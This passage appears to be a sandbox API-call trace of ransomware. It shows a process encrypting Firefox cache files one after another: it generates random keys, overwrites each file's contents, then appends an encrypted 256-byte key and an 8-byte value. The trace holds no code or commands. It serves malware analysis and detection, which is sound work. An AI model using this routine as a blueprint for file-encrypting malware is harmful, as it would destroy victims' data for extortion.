pbBuffer=0x2ee9768) returned 1 [0182.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.305] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE27628762D619B1EF85CF4ED8A72F6A61FA5EA5", dwFileAttributes=0x80) returned 1 [0182.305] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0182.314] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.314] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01b8*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0182.315] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1137 [0182.315] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.315] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.315] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9768*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9768*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.316] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.316] CloseHandle (hObject=0x1b80) returned 1 [0182.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eeae18 | out: pbBuffer=0x2eeae18) returned 1 [0182.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0182.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE23ECF4BC78300C181857098C8F7A2AF3A1D67B", dwFileAttributes=0x80) returned 1 [0182.320] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x4fff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fff, lpOverlapped=0x0) returned 1 [0182.341] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-20479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.341] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4fff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fff, lpOverlapped=0x0) returned 1 [0182.341] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fff [0182.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eeae18*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eeae18*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.342] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeae18*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeae18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.342] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.343] CloseHandle (hObject=0x1b80) returned 1 [0182.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.344] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FD017456EAF07CD45B9C7E270A17D7CAB963525C", dwFileAttributes=0x80) returned 1 [0182.347] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1805, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1805, lpOverlapped=0x0) returned 1 [0182.360] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.360] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0888*, nNumberOfBytesToWrite=0x1805, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1805, lpOverlapped=0x0) returned 1 [0182.361] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1805 [0182.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.361] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.361] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.362] CloseHandle (hObject=0x1b80) returned 1 [0182.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.363] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FCA36462211D8565F14C46E31D4B58A5F5077EA2", dwFileAttributes=0x80) returned 1 [0182.367] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x215b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x215b, lpOverlapped=0x0) returned 1 [0182.369] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8539, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.369] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f11e0*, nNumberOfBytesToWrite=0x215b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f11e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x215b, lpOverlapped=0x0) returned 1 [0182.370] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x215b [0182.370] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.370] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.370] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.371] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.371] CloseHandle (hObject=0x1b80) returned 1 [0182.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9450 | out: pbBuffer=0x2ee9450) returned 1 [0182.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.372] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FC5A61041804A8E6AE2756882E4E0669FBCA7326", dwFileAttributes=0x80) returned 1 [0182.373] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xea0, lpOverlapped=0x0) returned 1 [0182.387] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.387] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eff20*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eff20*, lpNumberOfBytesWritten=0x2e1f9bc*=0xea0, lpOverlapped=0x0) returned 1 [0182.387] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xea0 [0182.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9450*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9450*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.388] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9450*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9450*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.388] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.388] CloseHandle (hObject=0x1b80) returned 1 [0182.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eeac08 | out: pbBuffer=0x2eeac08) returned 1 [0182.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FC508BCC39DFA10FF406B6430E608D878EE472A5", dwFileAttributes=0x80) returned 1 [0182.401] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1d63, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d63, lpOverlapped=0x0) returned 1 [0182.410] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.410] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0de8*, nNumberOfBytesToWrite=0x1d63, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0de8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d63, lpOverlapped=0x0) returned 1 [0182.410] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d63 [0182.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.411] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeac08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeac08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.411] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.411] CloseHandle (hObject=0x1b80) returned 1 [0182.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9fa8 | out: pbBuffer=0x2ee9fa8) returned 1 [0182.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.413] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FBEEBFE6936925D7556EA1E800E546E6497D38CB", dwFileAttributes=0x80) returned 1 [0182.413] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x151b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x151b, lpOverlapped=0x0) returned 1 [0182.611] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.611] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f05a0*, nNumberOfBytesToWrite=0x151b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f05a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x151b, lpOverlapped=0x0) returned 1 [0182.612] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x151b [0182.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9fa8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9fa8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.612] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9fa8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9fa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.613] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.613] CloseHandle (hObject=0x1b80) returned 1 [0182.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9450 | out: pbBuffer=0x2ee9450) returned 1 [0182.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0182.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FBB3DB632AD696E8EC30833C0B54232325CAB894", dwFileAttributes=0x80) returned 1 [0182.615] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x1ab4b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ab4b, lpOverlapped=0x0) returned 1 [0182.742] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-109387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.742] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x1ab4b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ab4b, lpOverlapped=0x0) returned 1 [0182.743] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ab4b [0182.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9450*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9450*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.743] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9450*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9450*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.744] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.744] CloseHandle (hObject=0x1b80) returned 1 [0182.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9a80 | out: pbBuffer=0x2ee9a80) returned 1 [0182.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FB7768C85FAA53D36D921C97F77E7FA359C6E836", dwFileAttributes=0x80) returned 1 [0182.746] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x14fd8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x14fd8, lpOverlapped=0x0) returned 1 [0182.768] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-85976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.768] WriteFile (in: hFile=0x1b80, lpBuffer=0x2effff8*, nNumberOfBytesToWrite=0x14fd8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2effff8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14fd8, lpOverlapped=0x0) returned 1 [0182.769] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14fd8 [0182.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9a80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9a80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.769] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9a80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.770] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.770] CloseHandle (hObject=0x1b80) returned 1 [0182.772] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eeac08 | out: pbBuffer=0x2eeac08) returned 1 [0182.772] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.772] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FB0089835B5C9B7196C5139B4F42040B6ACD3FAB", dwFileAttributes=0x80) returned 1 [0182.772] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x4a02, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a02, lpOverlapped=0x0) returned 1 [0182.790] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.790] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4a02, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a02, lpOverlapped=0x0) returned 1 [0182.791] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a02 [0182.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.791] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeac08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeac08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.792] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.792] CloseHandle (hObject=0x1b80) returned 1 [0182.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eeac08 | out: pbBuffer=0x2eeac08) returned 1 [0182.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0182.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FADCF021AA97656392AF487F91B23E4BFA09266D", dwFileAttributes=0x80) returned 1 [0182.794] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xca8b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xca8b, lpOverlapped=0x0) returned 1 [0182.888] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-51851, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.888] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef7ab0*, nNumberOfBytesToWrite=0xca8b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef7ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xca8b, lpOverlapped=0x0) returned 1 [0182.888] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, 